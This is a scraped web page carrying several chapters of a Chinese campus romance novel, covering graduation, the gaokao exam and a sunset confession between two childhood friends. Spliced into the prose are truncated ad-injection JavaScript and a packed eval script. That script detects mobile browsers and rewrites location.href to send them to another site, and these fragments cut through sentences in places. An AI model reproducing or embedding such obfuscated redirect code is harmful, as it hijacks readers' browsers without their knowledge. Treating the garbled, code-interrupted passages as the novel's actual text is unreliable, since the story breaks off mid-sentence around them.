闻竹觉得她太可爱了,加上唇釉的刷头划过唇上的触感有些新奇,于是没忍住笑出声来。 刷头不听话地偏开了,曲思嘉惊讶地“啊”了声,两人同时道歉。 闻竹太想笑了,曲思嘉帮她举着镜子,她自己拿着纸巾按在唇边上。 擦完之后,曲思嘉说:“好了你不许再动一下。” 闻竹答应得很痛快,发誓自己会像木头一样坐着。 这个唇釉的颜色很浅,镜面感很明显。大概是肉桂色或者奶茶色,显得唇更饱满。曲思嘉之前一直觉得闻竹适合那种非常明艳的红唇妆,但这种温柔浅淡的颜色也很衬她,加一点气色,但是不会太显眼。 如果乍一看闻竹,绝大多数人最先注意到的还是她灵动的眼睛。 曲思嘉涂完之后很高兴,因为闻竹真的安静闭着眼睛一动都没动。她说“OK”,闻竹黏糊糊地说“谢谢”,而后才缓缓睁开眼。 教室在阳面,每天的阳光都会早早地洒进来。她适应了一下光线后一抬眼,看到了站在自己座位旁边却没法坐下的李泊松。不知道为什么闻竹很想笑,于是她就笑出来了。 李泊松刚刚一直在安静地看曲思嘉给她涂唇釉的过程,这会儿被她笑得心跳漏了一拍,好在口罩挡住了他半张脸。他移开视线,想刚刚闻竹那句“谢谢”,好像撒娇一样。 她怎么从来没这么和他说过话? 拍毕业照的时候校领导和老师们在第一排坐着,后边是女生,男生站得最高。 李泊松和毕雨泽路一杭挨着,三个人及其幼稚地挤来挤去,像是在争c位。仔细看,路一杭只是被迫卷入了这场斗争,实则是毕雨泽要站c位。 但李泊松今天怎么这么幼稚? 闻竹一转头,听到他说:“不换,我要站在闻竹身后。” “…………” 闻竹心说你不至于吧,之后忽然想到,小学毕业的那张照片,他们两个的站位就是这样的。 曲思嘉站在旁边看着他们笑,她这段时间一直围观李泊松和闻竹窗户纸将破位破的状态,觉得好玩,又听到路一杭说:“行了啊毕哥,校长那儿才是正经c位,不然你坐在那儿。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “莫欺少年穷啊,万一以后真坐在那儿了呢。”闻竹说。 “是吗?”李泊松忍俊不禁,问毕雨泽:“采访一下一中100米纪录创造者毕同学,你有这个想法吗?” 毕雨泽憨憨一笑:“再说,再说。” 两人说话的功夫,闻竹和曲思嘉换了个位置,不动声色地站到了李泊松的身前。李泊松垂眸看她,耳侧的发丝用发夹夹了起来,初夏的风温柔拂过,在她回头后,能很清晰地看到脸上细小的绒毛。 摄影师扛着相机说:“我数123,大家一起笑一下啊,1,2,3……” 画面定格的是青春。 集体照拍完后他们就随便找朋友到处拍拍,闻竹本来不是那么热衷拍照的人,但也承认照片确实能储存很多记忆。 她今天特意带来了去年夏天生日时曲思嘉送的一次性胶卷相机,这个相机只有二十七张相纸,因而更显得每一张都珍贵无比。 好在闻竹拍照技术在线,今天又是光线明亮太阳明媚的大晴天,她用这二十多张相纸拍了大家的合照和一些二人合照,准备今天回家后就找地方把照片打出来。 - 今天算是他们最后一天上学,从明天开始假一直放到高考,高考之后大家再聚到这里应该就是取成绩条的那天了,聚一次少一次。 人在这种环境的影响下免不了要伤春悲秋一会儿,闻竹一路上没怎么说话,其他人却是嘴没停过。 “你这半只脚踏入大学的人,是不是应该在八号晚上请我们吃饭啊。”路一杭说。 毕雨泽“啊”了声,挺疑惑的:“怎么就半只脚了呢,马上考试了你说点好听的。” “这你也挑。”路一杭很鄙视地看他一眼。 “我不挑,必须吃,想想吃啥。” 曲思嘉瞥到他额头上的伤,问:“你这包还没好呢?” 毕雨泽:“哪壶不开提哪壶呢。” 这伤是他前段时间撞到家里的柜子上的后果,对此他定义为长得太高的烦恼,本来觉得两三天就能好,这么一看没准得留疤。 “马上考试了,脑袋上顶个大包,你说这吉利吗。”毕雨泽很头疼。 李泊松走在闻竹身边,“这叫什么来着,竹子,碰头彩是吧?”他拾级而上,轻松地笑了下,“多好的寓意啊,好运连连,马到成功。” 闻竹刚被这一声竹子叫懵了,之后听完李泊松这一套,简直佩服他。 路一杭锐评:“有这口才做什么都会成功的……” 毕雨泽高兴得拍大腿:“泊松,借你吉言啊!” 68. 青春落幕 高考前几天,李泊松果然发烧了。他这种体质好的人一生病就不容易好,一号当天晚上发烧到将近三十八度,在医院挂了吊瓶。 等到四号那天,他已经好得差不多了,唯一的症状就是流鼻涕,偶尔会有些咳嗽。 闻竹这几天住在家里,问他感冒好了吗、有没有严重这些问题,李泊松都回答没事了,叫她别担心。 四号一大早闻竹回四季学府,知道李泊松没有睡懒觉的习惯,发微信问要不要给他带早餐,等到她敲门的时候,这人已经全身上下都收拾好了,连头发丝都很精致。 闻竹看到他状态不错,好不容易觉得他这次很诚实,直到她看到了左手上的针眼。 两人对视了几眼,李泊松坐如针毡,闻竹早就料到他没说实话,竟然也没有很生气,只是恨恨地咬了口奶黄包,又喝了一大口豆浆。 “你想说什么,说吧。” 李泊松深呼吸:“其实也不算在说谎,你看啊,现在确实是没事了。” 这逻辑简直让人没法生气,闻竹无语道:“都挂吊瓶了,发烧了吧?” “现在不烧了,”他老老实实道:“那我和你报备一下啊,我一号那天晚上有点烧,就去医院挂吊瓶了,第二天早上什么事都没有,医生开了点感冒药,按时按点地吃呢。” 闻竹冷飕飕地“哦”了声,转而又问:“今天还要挂吊瓶吗?” “不用了。” 说完他抬眸看着闻竹的侧脸。她吃饭的时候颊边会鼓起来,很好玩,她递过来一个眼神,李泊松收到后松了口气。 今天好在不用再去医院,不然闻竹肯定会想着陪他去。那儿空气里全都是病毒,劝她也劝不听。 五号下午,闻竹先去取了快递,而后和曲思嘉在学校对面的一家奶茶店见面了。 这份快递是六月一号那天拍的照片,李泊松他们两个在一号下午把相机寄了出去,今天这一打相片就送到了驿站。 两个女生高高兴兴地拆了快递,凑在一起一张张照片看过去,还是五个人的合照和她们两个一起拍的照片更多些。大家说阳光是最好的滤镜,这话半点不假。 阳光、绿树、校服、毕业季……看照片看得眼花缭乱,之后闻竹说让曲思嘉把她喜欢的带走,剩下的她再带给他们三个男生挑。 曲思嘉“哇”了声:“好耶,那我就恭敬不如从命啦。” 闻竹看她挑着照片,又透过窗子探头去看不远处的校门,天气热起来了,门卫的大爷出来伸了个懒腰,这条林荫路又重新变成了浓荫蔽日的样子。 她忽然道:“思嘉,我觉得我喜欢李泊松。” “……”曲思嘉动作静止了一瞬,她猛地抬头,问:“你自己才知道?” 闻竹定定地看了她一眼。 “好吧,”曲思嘉把相片放好,问:“和我说说你遇到什么难题了?” “我不知道该怎么说,”她沉默了一会儿,低声道:“他前段时间和我表白了。” 曲思嘉竟然没有很意外,只是睁大眼睛控诉她:“你竟然才告诉我!” 闻竹轻轻笑了下。 “快说说,到底怎么回事!你怎么回答的?”她催促道。 “我……这事说来话长,你听我讲啊……” “他应该很早就喜欢你了,小路最先看出来的,他觉得是去年这时候,甚至更早些。”闻竹说到半路的时候停下喝了口奶茶,曲思嘉这样接了句话。 “你们什么时候讨论的?”闻竹大吃一惊。 “啊,就前几天,你知道我这人也比较……迟钝。” 闻竹开玩笑问:“‘也’是什么意思?” “好吧,”曲思嘉说,“你不迟钝,那你接着说。” “我确实迟钝,也习惯了他是个很好的人,感觉不到那些细微的差别,在去年冬天之前我一直觉得他对我就是对从小就认识的朋友。” “嗯,这叫当局者迷。” 在燃烧的八卦之魂下,曲思嘉很想问问闻竹是怎么突然意识到发小喜欢她的,甚至想采访一下她的心理活动。但以闻竹的性格,这种事情她是断然不会说出来的,于是就可惜地作罢了。 “所以你在纠结什么呢?” “我确信我喜欢他,但是,和他做好朋友的感觉特别好,我不知道和他谈恋爱会不会比这更好。” “哦,我大概明白了。”曲思嘉心念电转,“你是不是有点怕改变?” 闻竹想了想,点了下头。 “可是不管怎么说,竹子,关系再亲密的异性朋友也不会聊天到凌晨,更不会因为等对方的消息两分钟拿起手机六七次。” “……”手机像烫手山芋一样被闻竹丢下,她说:“啊?我……” “不要解释,解释就是掩饰。”她煞有介事地伸出一根食指摇了摇。 在和闻竹认识的三年来,她第一次看到这种迷迷糊糊、思维不敏捷的闻竹,她说:“有人已经陷进去啦,就是现在还不想承认而已。” - 闻竹和李泊松的考点都在一中,两人都觉得运气不错。他们慢悠悠地走到校门口,校门刚开放。 进去之前,李泊松眼尖地看到了门口的陈老师,拉着闻竹跑过去。 闻竹其实没搞懂他在兴奋什么,看到老陈乐呵呵地打了个招呼后,听到他和周围的几个学生念念叨叨地嘱咐。 有时候闻竹会想,三年时间怎么能把人和人之间的关系维系得这么紧密呢,导致分开的时候如此不舍,一点儿都戒断不了。 陈老师说一句话就看一眼李泊松,李泊松就点头,表示自己知道了。 校门外的考生乌泱泱地往里走,陪考送考的家长们在围栏外止步,眼神朝着前边延伸过去。 他们几个也准备进考场了。 走之前,老陈祝他们金榜题名,李泊松就非得和他拥抱一下,美其名曰“沾沾老师的才学”。老陈嘴上嫌弃,但心里很得意他,伸手往李泊松背上拍了两下,又让他进校门拜拜孔子像。 闻竹笑得不行,那点微弱的紧张感也消失不见了。 - 最后一科是英语,题很简单,闻竹早交了十分钟的卷子,在人流不算拥挤的时候走出考场。 一中门口盛况空前,两面都是在警戒线外翘首以盼的家长,怀里抱着插有“金榜题名”字卡的鲜花,闻竹不出意外地看到了几个高挂的横幅。 她忽地想起了去年今日的场景。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那时候她从小区出来,顺着人流往滨海北路路口的公交站点走,在海边的麦当劳等李泊松。 在考试前,他们两个都把手机寄存到了小区门口那家常去的便利店柜台处。老板在柜台前吹着电风扇,风扇摇头,吹过闻竹的衣角。 看到闻竹进门,老板把正斗着地主的手机放下,把她的手机递过去。 闻竹说“谢谢”,试探着问:“我朋友也把手机放到这了,我可以帮他取走吗?” “哦,就是经常和你在一起的那个男生是吧,没问题。”老板很爽快地把李泊松的手机也拿了出来。 “这么早就出来啦,我听着铃声刚打响。” 闻竹“嗯”了声,抿了下唇:“题比较简单,怕改错了,就交了。” 老板很爽朗地笑出声,“那你肯定考得特别好,提前祝你金榜题名。” 闻竹也笑,又道了声谢。 屏蔽器的作用还没有消失,微信上边的小圆圈一直在转动,好半天终于弹出了新消息。 陈青说:出考场了吗? 闻兴阳说:恭喜我们竹子可以谈恋爱了! 下边是陈青骂他的一句话。 闻竹笑笑,生怕一会儿信号不好抓紧回了消息。 “我出考场了,一切顺利。可能会晚点回家,别担心。” 不让他们来接是正确的选择,闻竹想。不然以她爸妈的性格,还真有可能在校门口拉个横幅。那也太张扬了。 正胡思乱想着,李泊松忽然从身后叫了声她的名字。 闻竹在手机屏幕上抬起头,看身高腿长的男生轻松地揣着防晒外套的兜,听到他感叹道:“结束了啊——” 闻竹有些动容,难得没拆台,走下台阶把手机和橘子汽水一起递给他,没什么表情地道:“我等了你好几分钟。” 李泊松拧开瓶盖,听到这话怔了下,随后反应过来,在傍晚的夕阳下朝她弯唇笑:“是吗?辛苦你久等了。” “我妈说今天会来,我刚才看到她了,和她说了会儿话。” 闻竹愣道:“啊?那你……” 想想也是,今天是高考结束的日子,又赶上了李泊松的生日,他大概是应该和家人在一起的。但李泊松家里这些事还让闻竹觉得有些复杂,于是她问:“那你不和你妈妈一起吃个饭?” 男生垂了下眼睛,把手机顺手塞进包里,说:“你着急回家吗?” 闻竹摇头,反问道:“怎么,今年也想去滨海边?” 今天没下雨,天气晴朗,万里无云,没有一丝一毫下雨的预兆。李泊松说:“去看日落吧,山顶。” “好,”闻竹也不介意他避开了自己的问题,她说:“走着?” “我开车带你。” 这边哪儿有给他开的车,这话纯粹就是在逗她。闻竹淡淡道:“那还是免了,我回家了。” “哎,”李泊松拉了下她的手腕,他背后的马路上人流如织。他朝闻竹笑,说:“我们打车去。” 他蛊惑似的,又语气很轻地说了一遍:“走吧。” 在男生的手撤开后,闻竹觉得自己的手腕还存留着他手心的热度。 让她的心脏都开始发烫。 69. 吾心安处 无论长假短假,临城的游客向来是络绎不绝。这边温度适宜,气候偏干燥。夏天看山看海,冬天看雪中的山海。 李泊松带闻竹来的这个地方也勉强能算个旅游景点。 闲暇时刻,闻竹偶尔会拿着手机随便刷一下外地游客的帖子,能看到这座山出现在帖子的最后边,通常属于能去就去不去也不会有半点损失的地方,用平平无奇来描述它也并不过分。 这里海比山美,毋庸置疑。 前段时间有个项目在这个山上启动,因此修缮了一下山顶公园,还新建了两条上下山的索道,这个项目在两个月前竣工。闻竹不知道这儿能不能吸引游客,她想起自己上次来这还是小学低年级的时候。 出租车司机只能送到半山腰,剩下的路是他们两个顺着台阶一步一步走上去的。 李泊松一直走在她身边,和以往的无数次那样随着她的步调调整自己的脚步。闻竹察觉到后,故意把步子放慢了些,于是旁边的人也随着她的步速慢下来。 他刚走一段路就问闻竹要不要去坐缆车,闻竹说不用。 “都坐了一整天了,不想再坐着了。”她撇李泊松一眼,“你不会觉得我走不动吧?” “没有,”他笑笑,“怎么会呢。” 在上山的过程中,两人没怎么说话,闻竹不需要动脑,心里想着前段时间曲思嘉和她说的话。 到了接近山顶的时候,天际已是千里斜阳暮的景象,太阳依旧挂在地平线以上,闪着耀眼的光芒,山顶的建筑被笼罩在金光之下,有种纪录片里千年之前的美感。 答了理综和英语两张卷子,又爬了半座山,本来应该身心俱疲,但闻竹觉得自己从身到心都很兴奋。他们两个在观景台边随意地坐下,李泊松靠得离她很近。 登高望远,在这个地方,能俯瞰半座城。两人不约而同地等着接下来的日落,各怀心思倒也不耽误聊天。 李泊松和闻竹抱怨今年的语文题难:“还好这是高考,如果是平时的考试,老陈非得骂我。” 闻竹不知道他的想法怎么这么清奇,揉了揉额角后,她想,确实够难的,课外的那几个阅读题出得都非常刁钻,数学也难。闻竹观察了一下昨天的考生,觉得大家都面色颓然。 大家今天出考场的情绪和昨天相比简直是天差地别。 两人没忍住在等日落的时候讨论了一下语文的小阅读题。 “我理解不了,刚翻开卷子就觉得这是在给我下马威,”他们两个昨天都没对答案,这会儿闻竹在他身边,李泊松才来了点心思。他问:“你选的什么?我是CCD。” “……嗯?”闻竹定定地看了他两眼后就把目光移开了。 李泊松好像明白了什么,表情颇为精彩,不明显地吸了一口气。 “我选的是,”她特意停顿了下,表情更微妙了,“ABD。” 看她这个这样,李泊松倒是笑了出来。他和闻竹在语文卷子上出现分歧的时候,他几乎没赢过,这种小概率事件也不会发生在高考。但他的心情并没怎么受影响,抬头看到一颗如火焰一般的太阳正在缓缓落下,整个城市都在余晖的笼罩中。夕阳无限好。 “我妈带着她女儿过来的,妹妹年纪小,那边人又多,应该是不喜欢那个环境,所以不太高兴,感觉我妈也焦头烂额的,所以她说一起吃饭的时候,我拒绝了。”李泊松在回答一小时前闻竹的问题,其实他自己也说不好拒绝这顿饭是不是因为这个。 闻竹没说话,但她在听。 “我不知道是不是因为小姑娘怕生……总觉得她不太喜欢我。” 闻竹惊讶道:“长这么帅,还有小姑娘不喜欢你?” 这不是假话,算是共识,这个“喜欢”的意思也未必是异性之间的喜欢。李泊松是那种让人感觉春风拂面地帅,很温和讨喜,属于那种男女老少通杀的长相。 这句玩笑话成功地把旁边人逗笑了,李泊松心情颇好地想,闻竹真的太懂他了。他又想,闻竹一直都不舍得让他难过,他也多多少少拥有一些在她那里的特例,她大概也是喜欢他的。 李泊松想起前段时间自习回家的路上,也是这种“彩霞濯漫天”的景象,闻竹告诉他还有八分钟太阳就会彻底落下。 从此刻开始,他们有八分钟欣赏日落的时间。 不知道这八分钟够不够他讲一个故事。 “我爸妈是在读中学的时候认识的,后来又一起读了宁大,两座城市,他们两个那些年一直在一起,感情亲密,毕业之后就结了婚。”这段往事,在他父母感情破裂后,李泊松听过很多次,“听起来是不是很般配?” 闻竹安静地侧过脸去看他。 “你记不记得我爸妈什么时候离的婚?” “记得,是我们小学三年级的时候。” 李泊松“嗯”了声。 在那之前的几年里,他的耳边都充斥着父母的争吵声,对彼此失望透顶的话语还有摔门而去的声音。 年幼的李泊松也像大多数孩子那样问过他的父母,可不可以不分开。平时对他宠爱有加的爸爸只是摸了摸他的头,而他妈妈则关上门,拉着行李箱失望地离开了。 他从小聪慧,那时候已经能懂得他父母分开的原因。他爸觉得他妈妈控制欲太强,他妈妈觉得他爸闷葫芦冷暴力,两个对李泊松很好的人就这样天各一方。 后来,他妈妈提起这些事的时候语气很平常,没有怀念也没有怨怼,李泊松却懂了恩爱夫妻在柴米油盐和长久生活中的摩擦和爱意的消逝。 闻竹听过一些夫妻离心分手的故事,李泊松他父母的往事也是相同又不同。 不是每个人年轻时都经历过真实的爱与被爱,而经历过的人一旦失去,难免让人觉得唏嘘。 “其实还是因为不合适,对吗?”闻竹最后说。 李泊松点点头,肯定了她的看法。 天际的余晖比刚刚的颜色更深了,太阳马上就要彻底沉下西天。他们最纯真灿烂的青春时代也如同这盛大的日落一般只剩尾声了,但未来还长,世界辽阔。 他们和所有高中生一样在不放假的时候抱怨学校,在暑热恼人的时候抱怨夏天,却没有一次像此刻一样这么想留住这个夏天。 太阳沉下去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769644|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻竹说:“生日快乐。”她偏头看李泊松,傍晚的风温柔地拂上她的侧脸,“十九岁了。” “谢谢,”李泊松忍俊不禁,“但你这个语气好像我七老八十了一样。” 其实他本人也很感慨。 八分钟的日落,如果认真算起来,他和闻竹认识到现在,竟然都有两个八年了。 他偏过头,语气比刚才多了些郑重的意味:“我有事情和你说。” 闻竹心里明白,但装作懵懵懂懂的样子:“我没给你准备礼物。” “……”他酝酿好的情绪被这一句话打散,都没那么紧张了。 “你别打断我。”他哭笑不得。 闻竹笑笑。 “既然都已经打断你了,那就由我来说吧。” 李泊松的手指无意识地捻着外套的袖口,安静点头。 “我喜欢你,”闻竹目光灼灼,语气却尽力控制得很平静:“我在意识到我们之间的关系发生了某种改变的那一刻就确信这一点。但我也说不好那时候的顾虑是什么,大概是……” “我很怕改变,你知道的。” 话说到这里,李泊松竟然在极度紧张中莫名其妙地想好在今天没有戴那块智能手表,不然它一定会因为当下的心率发出尖锐报警声。 闻竹动了动身子,凑得离他更近了,她耳际的碎发被风吹乱了,她并不在意。 “你在我这里,一直是和别人不一样的存在,我那时候才明白,原来这叫喜欢。但我不知道恋爱是什么样子的,我觉得和你做朋友已经很好了。” “然后呢?”闻竹停顿一会儿没开口,李泊松按捺不住地问道。 “然后我发现没法和喜欢的人做朋友,我喜欢你,我就……想占有你。” 李泊松被这一记直球打得发晕,他听了两次“我喜欢你”,以为自己出现了幻觉。 闻竹只有在内心不安定的时候才会纠结想逃避,她想清楚了,那种一直以来的坚定勇敢就重新回到她身上。但受到身边人情绪的影响,她说完,也开始有些不好意思起来。 两人纷纷静默了一会儿,李泊松一直在看着她的侧脸,闻竹看眼前的风景,能感受到那种堪称灼热的视线。 “你会不会因为你父母的往事而觉得担心?” “嗯?担心什么?”李泊松心跳慢慢恢复正常,吹着山风,能闻到喜欢的女孩发丝的香味。他继续道:“担心我们的未来,还是觉得世界上根本没有爱情这回事?” 闻竹看着他,没说话。 “不会,我们的未来独属于我们,这点信心我还是有的。”他笑了下,“我只是怕你不喜欢我。” 李泊松终于轻声问:“所以,闻竹,你答应我了?” 闻竹飞快地在他侧脸上亲了下,之后又在李泊松反应过来前起身。 “你搞错了,不是答应你,而是我在问你,要不要和我在一起?” 这时候的闻竹漂亮得无与伦比,她的魅力折射到李泊松眼中,他听到自己说“好”。 从此之后,他可以明目张胆地把心寄居在闻竹那里,像是旅人的故乡。 70. 恋爱指南 闻竹喜欢这种能俯瞰整座城市的高地,在日落后的蓝调时刻中,她觉得这儿有些像爱乐之城里男女主跳舞的那个场景。 到了山脚下,李泊松问闻竹要不要吃点什么。 闻竹向来按时按点吃饭,这会儿都快八点了,她一句没提饿的事。 “你一直在忍着吗?”李泊松皱了下眉,有些怪自己怎么才想起来。 “没有,”大概是意识一直被其他兴奋的事情占据着,竟然一点不觉得饿,可是这未免又点丢人,她清清嗓子说:“你一说我才觉得有点饿了,一起吃饭吗?” “好,吃什么?” 闻竹想了想,觉得今天脑子用得太多了,现在转不动了,于是道:“没想法,你呢?” “我啊,”李泊松对于新身份适应良好:“我女朋友想吃什么我就想吃什么。” “……”闻竹故作冷漠道:“你女朋友要求你赶紧想一个方案出来。” 李泊松听话地点了下头:“好的,吃面还是火锅?” 闻竹喜欢这种二选一的题很满意,她没忍住抿唇笑了下,说:“火锅。” “嗯,”李泊松对自己也满意起来,他拿出手机:“我订个桌。” 这家火锅店没有他们预料中的那么火爆,时间也早早就过了饭点,两人竟然都没有意识到。闻竹刚摘掉书包坐下就接到了她妈妈打来的电话,问她在哪儿,说她临时去了趟工作室,可能会晚点回,又嘱咐闻竹不要太晚回家。 “在吃火锅,吃完就回去了。”她抬眸看着在调料区的李泊松,低声道:“放心吧妈,李泊松在,他会送我的。” 只要是天黑之后,李泊松肯定会把闻竹送回家,陈青没意识到她的话和平时有什么区别,说了句“那你们好好吃”就挂了电话。 其实她自己觉得最后一句话有点刻意,自己以前不会这么强调一句的。现在想想好像还有点暗示的意思,不过暗示失败了。 “想什么呢?”李泊松端了果盘放在她面前,“这么专注。” 闻竹随口扯道:“想你根本没有追过我。” 李泊松思索了一下,好似真的觉得有道理。他说:“行,那我明天就开始追你。” “怎么追?”闻竹很好奇,甚至往前探了探身子。 “这倒是没什么经验,我想想啊……”他试探着问:“明早给你买早餐?” “……”闻竹再次拿出手机看了眼时间,真诚道:“那你一定会失去我。” 李泊松就笑。 群里叮叮咚咚地响了一阵子,闻竹摸出手机,看到他们群里蹦出了好几天消息。 毕雨泽已经很及时地把群名从“冲刺高考,一举夺魁”改成了“朋友一生一起走”。 【曲思嘉:这个群名,好像有点不好听哎。】 【路一杭:没有最土,只有更土。】 一个委婉一个真诚,毕雨泽通通没理。他看到了李泊松发的朋友圈,非常震惊李泊松竟然知道微信有这个功能,于是在群里@他们两个。 【毕雨泽:@闻竹@李泊松是不是你们两个一起吃饭呢?】 【毕雨泽:我以为大家都是朋友,你们两个却偷着开小灶!】 闻竹看了对面的李泊松一眼,这人手机在充电,用的还是她的充电器。 李泊松问:“是群里吗?在说什么?” 闻竹眯了下眼睛,点进李泊松的朋友圈,果然看到这人更新了一张吃火锅的图片,对面她的手非常显眼。 这就是借充电宝也要用手机的原因吗? 闻竹抬了抬下巴,示意道:“你自己看吧。” 她说这话的时候刚把手机放下,拿着勺子捞锅里的鸭肠,李泊松嘴角带着笑把手机拿过来解锁,看到了闻竹刚发出去的消息,睁大眼睛抬头看着她。 闻竹在群里说:【哦,我们两个在谈恋爱。】 她现在在安静地吃碟子里的面,一点都不在乎别人死活。 群里安静如鸡。 闻竹吃完一片那根面条,拿出手机看了眼,嘴里念叨着:“哎?是信号不好吗?怎么没有人回复。” 李泊松整理了一下自己的表情:“你就这么告诉他们了?” “不然呢,”闻竹刷新了一下手机,莫名其妙道:“咱们难不成还要谈地下恋爱吗?” “你……” “我什么,你不想让他们知道?” 李泊松怎么不想,他吃个火锅都编辑朋友圈了。 闻竹和他对视了一会儿,没忍住在桌下给了他一脚:“快吃,这都几点了。” 她把腿收回,心想:以前明明挺苏的,这会儿怎么看起来这么不聪明…… 群里终于有了动静。 【曲思嘉:恭喜!!!】 【曲思嘉:什么时候的事?】 【一支竹子:大概一小时前?】 【毕雨泽:你们两个不是早就在谈吗??】 【毕雨泽:那你们之前在做什么?】 【路一杭:恭喜。】 - 在往回走的路上,夏夜晚风轻柔,空气醉人。李泊松单肩背着书包,问:“这么长的一个假期,你想做什么?” 这可真把闻竹难倒了,没计划如她,根本没考虑过这个问题。 “想做什么就做什么吧。”她歪头道:“明天想睡觉。” 旁边人笑了下,没有对她的话产生任何质疑,又听到闻竹反问他:“你呢?” 他语气自然:“我,明天要追你。” “……你还能不能好好聊天?” “这次我也没想好。”李泊松眼神温柔得仿佛春天的泉:“我和你表白那天根本不知道你对我是什么态度,我想了很久,因为心里清楚即便你不喜欢我,以你的性格也不会和我老死不相往来,所以我才敢那么说。” 他顿了顿,道:“我的假期计划,真的是追你。” “我不清楚你喜欢我是因为,我好像在这方面很迟钝,可是你怎么不知道……” 闻竹一直觉得李泊松是她所有朋友中最会处理人际关系的,只要他愿意,他可以和所有人做朋友。一个在人际交往中这么敏感聪明的人,他怎么不知道…… “我不知道,而且,”李泊松很认真地看着她:“我怕你把我当成好朋友,怕你关心我是因为没有人在我身边。” “你怕我在……可怜你?”闻竹的声音瞬间低沉下去。 李泊松来到临城读书,不管身边有谁,确实是孑然一身。 见他不说话,闻竹索性把话说开:“我一定要强调,我是有点迟钝不是傻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13777072|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至于分不清关心和心动。” “好,”其实李泊松自己也没想到,他在这件事情上竟然这么没有安全感。 这会儿已经走到了闻竹家门口。李泊松在静谧的暖色调灯光下微微抬起胳膊,很礼貌地问闻竹:“那,我可以抱你吗?” 闻竹耳尖烧红,两步凑过去环住他的窄腰,感受着他有力地手臂搭在背后的热度。 她甚至感觉到李泊松很轻地拍了拍她,好似哄小孩一般。她的身体贴近男生的胸膛,又听到了那种鼓动的心跳声,只是分辨不清属于谁。 “我给你准备礼物了,”她第一次觉得自己的心动如此具像化,声音有点闷,“在家里,明天带给你。” “嗯,”李泊松动了下脑袋,好像在嗅她的头发,“谢谢。” 闻竹刚刚还觉得和他认识太久,情侣关系好像和朋友关系没什么区别,并没有什么激情。但这会儿,她意识到这一点后,后背都有些发麻。 “生日快乐,”她想了想,“今年的生日没有吃蛋糕,也没有许愿。” “我的愿望已经实现了。” 两人松开怀抱,闻竹说:“对了,他们几个不是说明天要给你补过生日嘛,你记得叫我,我们一起去。” “好。”李泊松说:“晚安,好好睡一觉吧,这段时间你辛苦了。” 明明都很辛苦。 在闻竹思考自己为什么舍不得上楼时,一个熟悉的声音在他们身后传来:“孩子们,不早了,你们都不困呀?” 李泊松想起几秒前他还紧紧抱着闻竹不想放手,在楼下依依不舍不愿意回家,还被人家家长撞个正着,饶是他也不好意思起来。但是礼貌还是得有的,尤其是多了这么个身份。 “陈姨,”他抿了下唇,“您才下班?” “嗯,”不知道是早有准备还是接受能力强,陈青的情绪丝毫变化都没有,笑道:“几天不见,我们泊松又帅了。” 李泊松完全不知所措起来。 闻竹扶额。 陈青没开车,她手里拎着包,看起来有点疲倦,眼睛却很灵动,李泊松觉得闻竹的眼睛像她妈妈。 她笑话闻竹:“怪不得有个人找借口不让我们去接她,原来是去谈恋爱啊。” “……妈。” 陈青收了神通,忽然想起什么,看向李泊松:“哦对了,生日快乐啊泊松,明天我加班,后天来吃饭吧。” 终于把她妈妈请上了楼,闻竹说:“妈,你逗他干嘛?” “你这孩子,胳膊肘怎么往外拐,我还没问你呢。”陈青换了鞋,径直进了卫生间。 闻竹“哦”了声,乖乖答:“没早恋,没冲动。” 在陈青往脸上涂面膜时,闻竹想了想,还是说了李泊松今天讲的、他父母之前的事。 “妈,你会不会觉得我们年纪太小了,不明白感情是怎么回事,以后的某一天会因为观念不同而分开?” “怎么突然想这些,都不像你了。”她脸上涂了面膜,没法做出明显的表情,但闻竹看出她眼睛在笑。“泊松这么想了吗?” 闻竹摇头。 没人比李泊松更清楚,但他好像对他们的感情十分有信心,也很自信。 “那就对了,”陈青悠悠道:“这是独属于你们的未来。” 71. 粉色芍药 高考生暂时解放了,可以在明媚的初夏明目张胆地偷懒和放纵,陈女士却依然要每日工作,在撞破了自己家白菜谈恋爱的第二天就起了个大早出了门,连早饭都没来得及吃。 对于闻竹来说,头脑中的那根长久存在且绷紧的弦一下子松开了,她从身到心都放松,但是却没有如她所料般地睡懒觉到日上三竿,而是一大早——七点钟——就睁开了眼睛。 她昨天晚上在被窝里和李泊松聊微信聊到后半夜,之后闭上眼睛又花了好多时间才睡着。高考之后的第一个晚上,不到七个小时的睡眠真的让她很意外。 她摸出手机来看,李泊松的消息正好发送过来,很简单的三个字,问她醒了吗。 闻竹翻了个身趴在床上,静静等着他下一条消息,下一条却迟迟不来。她翻了个身趴在床上,柔顺的发丝垂在肩膀下方,有一缕比较调皮,扫到了她的侧脸。 她拨开那缕碎发,鬼使神差地打了个电话过去,在等待的几秒钟内把脸埋回了松软的枕头里。 “你醒了?这么早?” “生物钟啊,”闻竹无语道,“你知道早还给我发消息?” “我已经醒很久了,给你发消息的冲动已经被我克制了两小时了。”他语调懒洋洋的,说着话又笑了下:“放弃吧,生物钟一时半会改不了。” 闻竹听到旁边有个熟悉的声音问:“闻竹啊?” 李泊松“嗯”了声,又很欠地说:“我女朋友。” 之后闻竹就听到了毕雨泽的骂声。 